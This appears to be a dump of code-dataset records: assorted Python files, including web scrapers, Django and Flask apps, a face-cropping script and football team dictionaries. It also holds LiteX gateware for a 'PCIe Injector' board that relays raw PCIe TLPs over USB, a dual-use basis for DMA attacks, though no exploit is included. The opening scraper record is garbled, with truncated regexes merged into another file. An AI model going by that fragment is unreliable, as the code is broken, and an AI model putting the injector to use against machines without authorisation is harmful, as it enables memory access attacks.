news_list.append('http://www.cmag.com.au' + link)\n print(\"zyl cmag:\", len(news_list))\n for i in news_list:\n print(i)\n return news_list\n\n\ng = Goose()\n\n\n# the find author methods are not used now\ndef find_author_abc(url):\n match_name = []\n page = g.extract(url=url)\n soup = BeautifulSoup(page.raw_html, 'lxml')\n divs = soup.find_all('div')\n for div in divs:\n\n if div.get('class') == None:\n continue\n if 'byline' == div.get('class')[0]:\n if div.parent.name == 'figcaption':\n continue\n\n match_name = re.findall(r'title=\"\">([^>', str(div))\n if match_name == []:\n match_name = re.findall(r'
([^>', str(div))\n if match_name == []:\n for content in div.contents:\n findAu = re.findall(r'By([^> for {}\".format(ext, exc))\n\n print(\"Successfully loaded {}\".format(loaded_ext))\n\nbot.run(token)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"465507079","text":"# ↓static ##############################################################################################################\n# PERMITTED_URLS = 'permitted_urls'\n# MENU_ALL_ITEMS = 'menu_all_items'\n# MENU_PERMITTED_ITEMS = 'menu_permitted_items'\n\n# 用户表中,用户id的字段名:\n# USER_ID = 'username'\n# 用户表中,密码的字段名:\n# PASSWORD = 'password'\n# Permission表的表名\n# PERMISSION_TABLE = 'permission'\n# Permission表中权限描述的字段名称\n# PERMISSION_DESCRIPTION = 'name'\n# Permission表中权限的url别名的字段名称:\n# PERMISSION_URL_NAME = 'url_name'\n# Permission表中权限显示名的字段名称:\n# PERMISSION_DISPLAY_CAPTION = 'name'\n# Role表中,所具备的权限,字段名:\n# ROLE_PERMISSIONS = 'permissions'\n# MainMenuItem表中,item字段名:\n# MENU_ITEM = 'item'\n# MainMenuItem表中,parent字段名:\n# MENU_ITEM_PARENT = 'parent_perm'\n\n# session有效期(秒):\nSESSION_AGE = 16 * 3600\n# ↑static ##############################################################################################################\n\n\n\n# ↓dynamic #############################################################################################################\n# # 静态文件夹的名称:\n# STATIC_FOLDER_NAME = 'static'\n#\n\n# 用户来源:\nUSER_RESOURCE_MODEL = 'root_db.Staff'\n# 用户id字段来源:\nUSER_ID_RESOURCE_FIELD = 'staff_id'\n\n\n# 登录的url name:\nLOGIN_URL_NAME = 'login'\n# 登录页面的名称:\nLOGIN_PAGE = 'login.html'\n# 主页的url name:\nHOME_URL_NAME = 'home'\n# 主页的名称:\nHOME_PAGE = 'home.html'\n\n\n\n# url参数中细分部门的参数名\nSUB_DEPARTMENT = 'sdep'\n# url参数中部门的参数名\nDEPARTMENT = 'dep'\n\nBRANCH_VIEWERS = ['JGBS-0', 'JGBS-12', ]\n\n# ↑dynamic ##############################################################################################################","sub_path":"apps/app_permission/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"537294769","text":"# GUI 모듈\n# turtle\n# tkinter <-- tk/tcl 언어를 파이썬으로 포팅\n\n\nfrom tkinter.filedialog import askopenfilename\n\nreadFile = askopenfilename()\nprint(readFile)\n\n\ndef main():\n\n # 파일의 존재 여부 체크\n if readFile != None:\n infile = open(readFile, \"r\", encoding=\"UTF-8\") # 파일열기\n\n# 파일 처리\n for line in infile.readlines():\n line = line.strip() # .strip() 양쪽에 공백 제거\n print(line) # 표준(모니터)출력\n\n # 파일 닫기\n infile.close()\n else:\n print(\"파일없음\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"py31파일처리/py31_02_filedialog.py","file_name":"py31_02_filedialog.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"243737227","text":"import simpleaudio as sa\nimport time\nimport random\n\n\n#enter standard BPM\nbpm = 120\nprint(\"the standard bpm is now: \" + str(bpm) )\n# set bpm\ndef setBpm():\n print(\"do you want to enter new bmp? y or n\")\n answer = input()\n answer = str(answer)\n while answer != \"n\" and answer != \"y\":\n print(\"Please enter y or n \")\n answer = input()\n answer = str(answer)\n if answer == \"y\":\n global bpm\n bpm = input(\"set bpm: \")\n bpm = int(bpm)\n print(\"bpm has been set to: \" + str(bpm))\n if answer == \"n\":\n print(\"okay then, leave it at: \" + str(bpm))\nsetBpm()\n","sub_path":"Python/Blok2a /working_bpm_asker.py","file_name":"working_bpm_asker.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"13614060","text":"# -*- coding: utf-8 -*-\n# !/usr/bin/env python\n\"\"\"\n-------------------------------------------------\n File Name: hello_world.py\n Description : 协程Hello World\n Author : lujun.chen\n date: 2017/7/3 \n-------------------------------------------------\n\"\"\"\n\n__author__ = 'lujun.chen'\n\nimport asyncio\n\nasync def hello_world():\n print(\"Hello World\")\n\nloop=asyncio.get_event_loop()\n# Blocking call which returns when the hello_world() coroutine is done\nloop.run_until_complete(hello_world())\nloop.close()","sub_path":"hello_world.py","file_name":"hello_world.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"250454287","text":"#!/usr/bin/env python3\nimport argparse\n\nfrom migen import *\nfrom migen.genlib.resetsync import AsyncResetSynchronizer\n\nfrom litex.build.generic_platform import *\n\nfrom litex.soc.interconnect.csr import *\nfrom litex.soc.integration.soc_sdram import *\nfrom litex.soc.integration.soc_core import *\nfrom litex.soc.integration.builder import *\nfrom litex.soc.interconnect import stream\nfrom litex.soc.cores.uart import UARTWishboneBridge\n\nfrom litepcie.phy.s7pciephy import S7PCIEPHY\nfrom litex.soc.cores.usb_fifo import phy_description\n\nfrom gateware.usb import USBCore\nfrom gateware.etherbone import Etherbone\nfrom gateware.tlp import TLP\nfrom gateware.msi import MSI\nfrom gateware.ft601 import FT601Sync\n\nfrom litescope import LiteScopeAnalyzer\n\n\nclass _CRG(Module, AutoCSR):\n def __init__(self, platform):\n self.clock_domains.cd_sys = ClockDomain(\"sys\")\n self.clock_domains.cd_sys4x = ClockDomain(reset_less=True)\n self.clock_domains.cd_sys4x_dqs = ClockDomain(reset_less=True)\n self.clock_domains.cd_clk200 = ClockDomain()\n\n self.clock_domains.cd_usb = ClockDomain()\n\n # usb clock domain (100MHz from usb)\n self.comb += self.cd_usb.clk.eq(platform.request(\"usb_fifo_clock\"))\n self.comb += self.cd_usb.rst.eq(ResetSignal(\"pcie\"))\n\n clk100 = platform.request(\"clk100\")\n\n # sys & ddr clock domains\n pll_locked = Signal()\n pll_fb = Signal()\n pll_sys = Signal()\n pll_sys4x = Signal()\n pll_sys4x_dqs = Signal()\n pll_clk200 = Signal()\n self.specials += [\n Instance(\"PLLE2_BASE\",\n p_STARTUP_WAIT=\"FALSE\", o_LOCKED=pll_locked,\n\n # VCO @ 1600 MHz\n p_REF_JITTER1=0.01, p_CLKIN1_PERIOD=10.0,\n p_CLKFBOUT_MULT=16, p_DIVCLK_DIVIDE=1,\n i_CLKIN1=clk100, i_CLKFBIN=pll_fb, o_CLKFBOUT=pll_fb,\n\n # 100 MHz\n p_CLKOUT0_DIVIDE=16, p_CLKOUT0_PHASE=0.0,\n o_CLKOUT0=pll_sys,\n\n # 400 MHz\n p_CLKOUT1_DIVIDE=4, p_CLKOUT1_PHASE=0.0,\n o_CLKOUT1=pll_sys4x,\n\n # 400 MHz dqs\n p_CLKOUT2_DIVIDE=4, p_CLKOUT2_PHASE=90.0,\n o_CLKOUT2=pll_sys4x_dqs,\n\n # 200 MHz\n p_CLKOUT3_DIVIDE=8, p_CLKOUT3_PHASE=0.0,\n o_CLKOUT3=pll_clk200,\n ),\n Instance(\"BUFG\", i_I=pll_sys, o_O=self.cd_sys.clk),\n Instance(\"BUFG\", i_I=pll_sys4x, o_O=self.cd_sys4x.clk),\n Instance(\"BUFG\", i_I=pll_sys4x_dqs, o_O=self.cd_sys4x_dqs.clk),\n Instance(\"BUFG\", i_I=pll_clk200, o_O=self.cd_clk200.clk),\n AsyncResetSynchronizer(self.cd_sys, ~pll_locked),\n AsyncResetSynchronizer(self.cd_clk200, ~pll_locked)\n ]\n\n reset_counter = Signal(4, reset=15)\n ic_reset = Signal(reset=1)\n self.sync.clk200 += \\\n If(reset_counter != 0,\n reset_counter.eq(reset_counter - 1)\n ).Else(\n ic_reset.eq(0)\n )\n self.specials += Instance(\"IDELAYCTRL\", i_REFCLK=ClockSignal(\"clk200\"), i_RST=ic_reset)\n\n\nclass PCIeInjectorSoC(SoCCore):\n csr_map = {\n \"ddrphy\": 16,\n \"pciephy\": 17,\n \"msi\": 18,\n \"analyzer\": 19\n }\n csr_map.update(SoCCore.csr_map)\n\n usb_map = {\n \"wishbone\": 0,\n \"tlp\": 1\n }\n\n def __init__(self, platform, with_cpu=False, with_analyzer=True, with_loopback=False):\n clk_freq = int(100e6)\n SoCCore.__init__(self, platform, clk_freq,\n cpu_type=\"lm32\" if with_cpu else None,\n integrated_rom_size=0x8000 if with_cpu else 0,\n integrated_sram_size=0x8000,\n with_uart=with_cpu,\n ident=\"PCIe Injector example design\",\n with_timer=with_cpu\n )\n self.submodules.crg = _CRG(platform)\n\n if not with_cpu:\n # use serial as wishbone bridge when no cpu\n self.submodules.bridge = UARTWishboneBridge(platform.request(\"serial\"), clk_freq, baudrate=3000000)\n self.add_wb_master(self.bridge.wishbone)\n\n try:\n # pcie_x = \"pcie_x4\"\n pcie_x = \"pcie_x1\"\n pcie_pads = platform.request(pcie_x)\n except ConstraintError:\n pcie_x = \"pcie_x1\"\n pcie_pads = platform.request(pcie_x)\n\n # pcie endpoint\n self.submodules.pciephy = S7PCIEPHY(platform, pcie_pads, cd=\"sys\")\n if pcie_x == \"pcie_x4\":\n self.pciephy.use_external_hard_ip(os.path.join(\"pcie\", \"xilinx\", \"7-series\"))\n self.pciephy.cd_pcie.clk.attr.add(\"keep\")\n platform.add_platform_command(\"create_clock -name pcie_clk -period 8 [get_nets pcie_clk]\")\n platform.add_false_path_constraints(\n self.crg.cd_sys.clk,\n self.pciephy.cd_pcie.clk)\n\n # usb core\n usb_pads = platform.request(\"usb_fifo\")\n self.submodules.usb_phy = FT601Sync(usb_pads, dw=32, timeout=1024)\n\n if with_loopback:\n self.submodules.usb_loopback_fifo = stream.SyncFIFO(phy_description(32), 2048)\n self.comb += [\n self.usb_phy.source.connect(self.usb_loopback_fifo.sink),\n self.usb_loopback_fifo.source.connect(self.usb_phy.sink)\n ]\n else:\n self.submodules.usb_core = USBCore(self.usb_phy, clk_freq)\n\n # usb <--> wishbone\n self.submodules.etherbone = Etherbone(self.usb_core, self.usb_map[\"wishbone\"])\n self.add_wb_master(self.etherbone.master.bus)\n\n # usb <--> tlp\n self.submodules.tlp = TLP(self.usb_core, self.usb_map[\"tlp\"])\n self.comb += [\n self.pciephy.source.connect(self.tlp.sender.sink),\n self.tlp.receiver.source.connect(self.pciephy.sink)\n ]\n\n # wishbone --> msi\n self.submodules.msi = MSI()\n self.comb += self.msi.source.connect(self.pciephy.msi)\n\n # led blink\n usb_counter = Signal(32)\n self.sync.usb += usb_counter.eq(usb_counter + 1)\n self.comb += platform.request(\"user_led\", 0).eq(usb_counter[26])\n\n pcie_counter = Signal(32)\n self.sync.pcie += pcie_counter.eq(pcie_counter + 1)\n self.comb += platform.request(\"user_led\", 1).eq(pcie_counter[26])\n\n # timing constraints\n self.crg.cd_sys.clk.attr.add(\"keep\")\n self.crg.cd_usb.clk.attr.add(\"keep\")\n self.platform.add_period_constraint(self.crg.cd_sys.clk, 10.0)\n self.platform.add_period_constraint(self.crg.cd_usb.clk, 10.0)\n self.platform.add_period_constraint(self.platform.lookup_request(pcie_x).clk_p, 10.0)\n\n if with_analyzer:\n analyzer_signals = [\n self.pciephy.sink.valid,\n self.pciephy.sink.ready,\n self.pciephy.sink.last,\n self.pciephy.sink.dat,\n self.pciephy.sink.be,\n\n self.pciephy.source.valid,\n self.pciephy.source.ready,\n self.pciephy.source.last,\n self.pciephy.source.dat,\n self.pciephy.source.be\n ]\n self.submodules.analyzer = LiteScopeAnalyzer(analyzer_signals, 1024)\n\n def do_exit(self, vns):\n if hasattr(self, \"analyzer\"):\n self.analyzer.export_csv(vns, \"test/analyzer.csv\")\n\n\ndef main():\n platform_names = [\"pciescreamer\", \"screamerm2\"]\n\n parser = argparse.ArgumentParser(description=\"PCIe Injector Test Gateware\")\n parser.add_argument(\"--platform\", choices=platform_names, required=True)\n args = parser.parse_args()\n\n if args.platform == \"pciescreamer\":\n from platforms import pciescreamer_r02 as target\n elif args.platform == \"screamerm2\":\n from platforms import screamerm2_r03 as target\n\n platform = target.Platform()\n soc = PCIeInjectorSoC(platform)\n builder = Builder(soc, output_dir=\"build\", csr_csv=\"test/csr.csv\")\n vns = builder.build()\n soc.do_exit(vns)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"pcie_injector.py","file_name":"pcie_injector.py","file_ext":"py","file_size_in_byte":8168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"390280776","text":"from django.core.management.base import BaseCommand\nimport csv\nimport os\nfrom django.conf import settings\nfrom football.models import Totals\n\nCSV_PATH = os.path.join(settings.BASE_DIR, \"football/output/data.csv\")\n\n\nclass Command(BaseCommand):\n help = 'Export stats to a CSV'\n\n def handle(self, *args, **options):\n with open(CSV_PATH, 'w') as csvfile:\n writer = csv.writer(csvfile)\n for obj in Totals.objects.all():\n row = []\n total_fields = self.get_model_fields(obj)\n row.append(obj.match_id.home_team)\n row.append(obj.match_id.away_team)\n row.append(obj.match_id.referee)\n row.append(obj.match_id.date.strftime(\"%d/%m/%Y\"))\n row.append(obj.match_id.full_time_home_goals + obj.match_id.full_time_away_goals)\n for field in total_fields:\n if str(field.name) in ('match_id', 'id'):\n continue\n row.append(getattr(obj, field.name))\n\n writer.writerow(row)\n\n def get_model_fields(self, model):\n return model._meta.fields\n","sub_path":"football/management/commands/export_data.py","file_name":"export_data.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"532241316","text":"from django.contrib import admin\nfrom apps.hairdressers.models import Hairdresser\n\nclass HairdresserAdmin(admin.ModelAdmin):\n\n list_display = ['firstname', 'list_position']\n list_editable = ['list_position']\n\n class Media:\n js = (\n 'js/jquery.min.js',\n 'js/jquery-ui.min.js',\n 'js/admin-list-reorder.js',\n )\n\nadmin.site.register(Hairdresser, HairdresserAdmin)\n","sub_path":"apps/hairdressers/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"6377624","text":"import pymongo \nfrom flask import Flask, render_template\nfrom scrape_mars import scrape\n\n#Set up PyMongo\nclient = pymongo.MongoClient('mongodb://localhost:27017')\ndb = client.MarsDB\n\n#set up Flask\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef displaydata():\n data = list(db.posts.find())[-1]\n return render_template(\"index.html\", data=data)\n\n@app.route(\"/scrape\")\ndef flaskscrape():\n scrapings = scrape()\n db.posts.insert_one(scrapings)\n return \"Scraping Complete!\"\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","sub_path":"Missions_to_Mars/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"203277961","text":"#Detect and crop face from the designated image, then\n#convert it to greyscale and rescale down to 48x48 pixels\nimport cv2\nimport glob\nimport shutil\nimport os\nfrom PIL import Image\n\n# deletes all previously formatted photos\ndirect = 'custom/formatted/'\nfor f in os.listdir(direct):\n os.remove(os.path.join(direct, f))\n\n# copies all of the photos into /formatted to be processed\nfor filename in glob.glob('custom/*.jpg'):\n shutil.copy(filename, 'custom/formatted/')\n\n# goes through all custom images and formats to be worked on\nfor filename in glob.glob('custom/formatted/*.jpg'):\n\n #Read the input image\n img = cv2.imread(filename)\n\n #Convert image to grayscale\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n #Load haar cascade\n detector = cv2.CascadeClassifier('haarcascade_frontalface_alt2.xml')\n\n #Detect faces\n faces = detector.detectMultiScale(gray, 1.1, 5)\n\n #Draw rectangle around face and crop face\n for (x, y, w, h) in faces:\n cv2.rectangle(img, (x, y), (x+w, y+h), (0, 0, 255), 2)\n faces = img[y:y + h, x:x + w]\n cv2.imwrite(filename, faces)\n\n# Convert cropped .jpg image to grayscale and scale down to 48x48 pixels, then save as .png and delete .jpg\nfor filename in glob.glob('custom/formatted/*.jpg'):\n if(filename.endswith(\".jpg\")):\n scaling = Image.open(filename).convert('L')\n scaled_face = scaling.resize((48, 48))\n file_name, file_ext = os.path.splitext(filename)\n scaled_face.save(('{}.png'.format(file_name)), optimize=True)\n os.remove(filename)\n\n","sub_path":"Image processing/facedetect.py","file_name":"facedetect.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"20684689","text":"'''Dictionaries for use in cfb-recruitment.\nALIAS: Track alias's to a common name for use in the code. e.g. USC and Southern California both map to USC.\nCONF: Conference of team.\nDIV: Division of team.\nSTATES: ESPN has abbreviations like Fla. and Ariz. Since these aren't picked up well by the geopy library, we standardize them.\nTEAM_LOC: Team's location (e.g. East Lansing, Michigan)\nTEAM_COORD: Team's coordinates (e.g. 42.7355416, -84.4852468). These won't ever change, and it's taxing to look them up each cycle.\n'''\n\nSTATES = { # ESPN abbreviates state names in a funny way. \n # This replaces those abbreviations so geopy is more accurate.\n 'Ala.' : 'Alabama',\n 'Alaska' : 'Alaska',\n 'Ariz.' : 'Arizona',\n 'Ark.' : 'Arkansas',\n 'Calif.' : 'California',\n 'Canada' : 'Canada',\n 'Colo.' : 'Colorado',\n 'Conn.' : 'Connecticut',\n 'D.C.' : 'D.C.', # geopy responds better to D.C. I think\n 'Del.' : 'Delaware',\n 'Fla.' : 'Florida',\n 'Ga.' : 'Georgia',\n 'Hawaii' : 'Hawaii',\n 'Idaho' : 'Idaho',\n 'Ill.' : 'Illinois',\n 'Ind.' : 'Indiana',\n 'Iowa' : 'Iowa',\n 'Kan.' : 'Kansas',\n 'Ky.' : 'Kentucky',\n 'La.' : 'Louisiana',\n 'Maine' : 'Maine',\n 'Md.' : 'Maryland',\n 'Mass.' : 'Massachusetts',\n 'Mich.' : 'Michigan',\n 'Minn.' : 'Minnesota',\n 'Miss.' : 'Mississippi',\n 'Mo.' : 'Missouri',\n 'Montana' : 'Montana',\n 'Neb.' : 'Nebraska',\n 'Nev.' : 'Nevada',\n 'New Hampshire' : 'New Hampshire',\n 'N.J.' : 'New Jersey',\n 'N.M.' : 'New Mexico',\n 'N.Y.' : 'New York',\n 'N.C.' : 'North Carolina',\n 'N.D.' : 'North Dakota',\n 'Ohio' : 'Ohio',\n 'Okla.' : 'Oklahoma',\n 'Ore.' : 'Oregon',\n 'Pa.' : 'Pennsylvania',\n 'Rhode Island' : 'Rhode Island',\n 'S.C.' : 'South Carolina',\n 'S.D.' : 'South Dakota',\n 'Tenn.' : 'Tennessee',\n 'Texas' : 'Texas',\n 'Utah' : 'Utah',\n 'Vermont' : 'Vermont',\n 'Va.' : 'Virginia',\n 'Wash.' : 'Washington',\n 'W.V.' : 'West Virginia',\n 'Wis.' : 'Wisconsin',\n 'Wyoming' : 'Wyoming',\n 'AK': 'Alaska',\n 'AL': 'Alabama',\n 'AR': 'Arkansas',\n 'AS': 'American Samoa',\n 'AZ': 'Arizona',\n 'CA': 'California',\n 'CO': 'Colorado',\n 'CT': 'Connecticut',\n 'DC': 'District of Columbia',\n 'DE': 'Delaware',\n 'FL': 'Florida',\n 'GA': 'Georgia',\n 'GU': 'Guam',\n 'HI': 'Hawaii',\n 'IA': 'Iowa',\n 'ID': 'Idaho',\n 'IL': 'Illinois',\n 'IN': 'Indiana',\n 'KS': 'Kansas',\n 'KY': 'Kentucky',\n 'LA': 'Louisiana',\n 'MA': 'Massachusetts',\n 'MD': 'Maryland',\n 'ME': 'Maine',\n 'MI': 'Michigan',\n 'MN': 'Minnesota',\n 'MO': 'Missouri',\n 'MP': 'Northern Mariana Islands',\n 'MS': 'Mississippi',\n 'MT': 'Montana',\n 'NA': 'National',\n 'NC': 'North Carolina',\n 'ND': 'North Dakota',\n 'NE': 'Nebraska',\n 'NH': 'New Hampshire',\n 'NJ': 'New Jersey',\n 'NM': 'New Mexico',\n 'NV': 'Nevada',\n 'NY': 'New York',\n 'OH': 'Ohio',\n 'OK': 'Oklahoma',\n 'OR': 'Oregon',\n 'PA': 'Pennsylvania',\n 'PR': 'Puerto Rico',\n 'RI': 'Rhode Island',\n 'SC': 'South Carolina',\n 'SD': 'South Dakota',\n 'TN': 'Tennessee',\n 'TX': 'Texas',\n 'UT': 'Utah',\n 'VA': 'Virginia',\n 'VI': 'Virgin Islands',\n 'VT': 'Vermont',\n 'WA': 'Washington',\n 'WI': 'Wisconsin',\n 'WV': 'West Virginia',\n 'WY': 'Wyoming'\n}\n\nALIAS = {\n 'Abilene Christian' : 'Abilene Christian',\n 'Air Force' : 'Air Force',\n 'Akron' : 'Akron',\n 'Alabama' : 'Alabama',\n 'Alabama A&M' : 'Alabama A&M',\n 'Alabama State' : 'Alabama State',\n 'Alabama-Birmingham' : 'UAB',\n 'Albany' : 'Albany',\n 'Alcorn State' : 'Alcorn State',\n 'Appalachian State' : 'Appalachian State',\n 'Arizona' : 'Arizona',\n 'Arizona State' : 'Arizona State',\n 'Arkansas' : 'Arkansas',\n 'Arkansas State' : 'Arkansas State',\n 'Arkansas-Pine Bluff' : 'Arkansas-Pine Bluff',\n 'Army' : 'Army',\n 'Auburn' : 'Auburn',\n 'Austin Peay' : 'Austin Peay',\n 'Austin Peay State' : 'Austin Peay',\n 'BYU' : 'BYU',\n 'Ball State' : 'Ball State',\n 'Baylor' : 'Baylor',\n 'Bethune-Cookman' : 'Bethune-Cookman',\n 'Boise State' : 'Boise State',\n 'Boston College' : 'Boston College',\n 'Bowling Green' : 'Bowling Green',\n 'Bowling Green State' : 'Bowling Green',\n 'Brigham Young' : 'BYU',\n 'Brown' : 'Brown',\n 'Bryant University' : 'Bryant',\n 'Bucknell' : 'Bucknell',\n 'Buffalo' : 'Buffalo',\n 'Butler' : 'Butler',\n 'C. Michigan' : 'Central Michigan',\n 'Cal Poly' : 'California Polytechnic State',\n 'California' : 'California',\n 'California Polytechnic State' : 'California Polytechnic State',\n 'California State-Sacramento' : 'California State-Sacramento',\n 'California, Davis' : 'California-Davis',\n 'California-Davis' : 'California-Davis',\n 'Campbell' : 'Campbell',\n 'Central Arkansas' : 'Central Arkansas',\n 'Central Connecticut State' : 'Central Connecticut State',\n 'Central Florida' : 'UCF',\n 'Central Michigan' : 'Central Michigan',\n 'Charleston Southern' : 'Charleston Southern',\n 'Charlotte' : 'Charlotte',\n 'Cincinnati' : 'Cincinnati',\n 'Citadel' : 'Citadel',\n 'Clemson' : 'Clemson',\n 'Coastal Carolina' : 'Coastal Carolina',\n 'Colgate' : 'Colgate',\n 'College of William & Mary' : 'College of William & Mary',\n 'Colorado' : 'Colorado',\n 'Colorado State' : 'Colorado State',\n 'Columbia' : 'Columbia',\n 'Connecticut' : 'Connecticut',\n 'Cornell' : 'Cornell',\n 'Dartmouth' : 'Dartmouth',\n 'Dartmouth College' : 'Dartmouth',\n 'Davidson' : 'Davidson',\n 'Davidson College' : 'Davidson',\n 'Dayton' : 'Dayton',\n 'Delaware' : 'Delaware',\n 'Delaware State' : 'Delaware State',\n 'Drake' : 'Drake',\n 'Duke' : 'Duke',\n 'Duquesne' : 'Duquesne',\n 'E. Carolina' : 'East Carolina',\n 'E. Illinois' : 'Eastern Illinois',\n 'E. Kentucky' : 'Eastern Kentucky',\n 'E. Michigan' : 'Eastern Michigan',\n 'E. State' : 'East Tennessee State',\n 'E. Washington' : 'Eastern Washington',\n 'East Carolina' : 'East Carolina',\n 'East Tennessee State' : 'East Tennessee State',\n 'Eastern Illinois' : 'Eastern Illinois',\n 'Eastern Kentucky' : 'Eastern Kentucky',\n 'Eastern Michigan' : 'Eastern Michigan',\n 'Eastern Washington' : 'Eastern Washington',\n 'Elon' : 'Elon',\n 'FAU' : 'Florida Atlantic',\n 'FIU' : 'Florida International',\n 'Florida' : 'Florida',\n 'Florida A&M' : 'Florida A&M',\n 'Florida A&M;' : 'Florida A&M',\n 'Florida Atlantic' : 'Florida Atlantic',\n 'Florida International' : 'Florida International',\n 'Florida State' : 'Florida State',\n 'Fordham' : 'Fordham',\n 'Fresno State' : 'Fresno State',\n 'Furman' : 'Furman',\n 'Gardner–Webb' : 'Gardner–Webb',\n 'Georgetown' : 'Georgetown',\n 'Georgia' : 'Georgia',\n 'Georgia Southern' : 'Georgia Southern',\n 'Georgia State' : 'Georgia State',\n 'Georgia Tech' : 'Georgia Tech',\n 'Grambling State' : 'Grambling State',\n 'Hampton' : 'Hampton',\n 'Harvard' : 'Harvard',\n 'Hawaii' : 'Hawaii',\n \"Hawai'i\" : 'Hawaii',\n 'Holy Cross' : 'Holy Cross',\n 'Houston' : 'Houston',\n 'Houston Baptist' : 'Houston Baptist',\n 'Howard' : 'Howard',\n 'Idaho' : 'Idaho',\n 'Idaho State' : 'Idaho State',\n 'Illinois' : 'Illinois',\n 'Illinois State' : 'Illinois State',\n 'Incarnate Word' : 'Incarnate Word',\n 'Indiana' : 'Indiana',\n 'Indiana State' : 'Indiana State',\n 'Iowa' : 'Iowa',\n 'Iowa State' : 'Iowa State',\n 'Jackson State' : 'Jackson State',\n 'Jacksonville' : 'Jacksonville',\n 'Jacksonville State' : 'Jacksonville State',\n 'James Madison' : 'James Madison',\n 'Kansas' : 'Kansas',\n 'Kansas State' : 'Kansas State',\n 'Kennesaw State' : 'Kennesaw State',\n 'Kent State' : 'Kent State',\n 'Kentucky' : 'Kentucky',\n 'LSU' : 'LSU',\n 'La. Tech' : 'Louisiana Tech',\n 'La.-Lafayette' : 'Louisiana-Lafayette',\n 'La-Lafayette' : 'Louisiana-Lafayette',\n 'La.-Monroe' : 'Louisiana-Monroe',\n 'Lafayette College' : 'Lafayette College',\n 'Lamar' : 'Lamar',\n 'Lehigh' : 'Lehigh',\n 'Liberty' : 'Liberty',\n 'Louisiana State' : 'LSU',\n 'Louisiana Tech' : 'Louisiana Tech',\n 'Louisiana-Lafayette' : 'Louisiana-Lafayette',\n 'Louisiana-Monroe' : 'Louisiana-Monroe',\n 'Louisville' : 'Louisville',\n 'MTSU' : 'Montana State',\n 'Maine' : 'Maine',\n 'Marist' : 'Marist',\n 'Marist College' : 'Marist',\n 'Marshall' : 'Marshall',\n 'Maryland' : 'Maryland',\n 'Massachusetts' : 'Massachusetts',\n 'McNeese State' : 'McNeese State',\n 'Memphis' : 'Memphis',\n 'Mercer' : 'Mercer',\n 'Miami' : 'Miami (FL)', # I'm not 100% confident doing this, but it should be okay.\n 'Miami (Florida)' : 'Miami (FL)',\n 'Miami (Ohio)' : 'Miami (OH)',\n 'Miami (FL)' : 'Miami (FL)',\n 'Miami (Fl)' : 'Miami (FL)',\n 'Miami (OH)' : 'Miami (OH)',\n 'Miami (Oh)' : 'Miami (OH)',\n 'Miami, FL' : 'Miami (FL)',\n 'Miami, OH' : 'Miami (OH)',\n 'Maimi, OH' : 'Miami (OH)',\n 'Michigan' : 'Michigan',\n 'Michigan State' : 'Michigan State',\n 'Middle Tennessee' : 'Middle Tennessee',\n 'Middle Tennessee State' : 'Middle Tennessee',\n 'Minnesota' : 'Minnesota',\n 'Miss St' : 'Mississippi State',\n 'Mississippi' : 'Ole Miss',\n 'Mississippi State' : 'Mississippi State',\n 'Mississippi Valley State' : 'Mississippi Valley State',\n 'Missouri' : 'Missouri',\n 'Missouri State' : 'Missouri State',\n 'Monmouth' : 'Monmouth',\n 'Montana' : 'Montana',\n 'Montana State' : 'Montana State',\n 'Morehead State' : 'Morehead State',\n 'Morgan State' : 'Morgan State',\n 'Murray State' : 'Murray State',\n 'N. A&T' : 'North Carolina A&T',\n 'N. A&T;' : 'North Carolina A&T',\n 'N. Arizona' : 'Northern Arizona',\n 'N. C. State' : 'NC State',\n 'N. Carolina' : 'North Carolina',\n 'N. Central' : 'North Carolina Central',\n 'N. Colorado' : 'Northern Colorado',\n 'N. Dakota' : 'North Dakota',\n 'N. Illinois' : 'Northern Illinois',\n 'N. Iowa' : 'Northern Iowa',\n 'N. State' : 'North Dakota State',\n 'N. Texas' : 'North Texas',\n 'N.C. State' : 'NC State',\n 'NC State' : 'NC State',\n 'NIU' : 'Northern Illinois',\n 'Navy' : 'Navy',\n 'Nebraska' : 'Nebraska',\n 'Nevada' : 'Nevada',\n 'Nevada-Las Vegas' : 'Nevada-Las Vegas',\n 'Nevada-Reno' : 'Nevada',\n 'New Hampshire' : 'New Hampshire',\n 'New Mexico' : 'New Mexico',\n 'New Mexico State' : 'New Mexico State',\n 'Nicholls State' : 'Nicholls State',\n 'Norfolk State' : 'Norfolk State',\n 'North Carolina' : 'North Carolina',\n 'North Carolina A&T' : 'North Carolina A&T',\n 'North Carolina A&T;' : 'North Carolina A&T',\n 'North Carolina Agricultural and Technical State' : 'North Carolina A&T',\n 'North Carolina Central' : 'North Carolina Central',\n 'North Carolina State' : 'NC State',\n 'North Dakota' : 'North Dakota',\n 'North Dakota State' : 'North Dakota State',\n 'North Texas' : 'North Texas',\n 'Northern Arizona' : 'Northern Arizona',\n 'Northern Colorado' : 'Northern Colorado',\n 'Northern Illinois' : 'Northern Illinois',\n 'Northern Iowa' : 'Northern 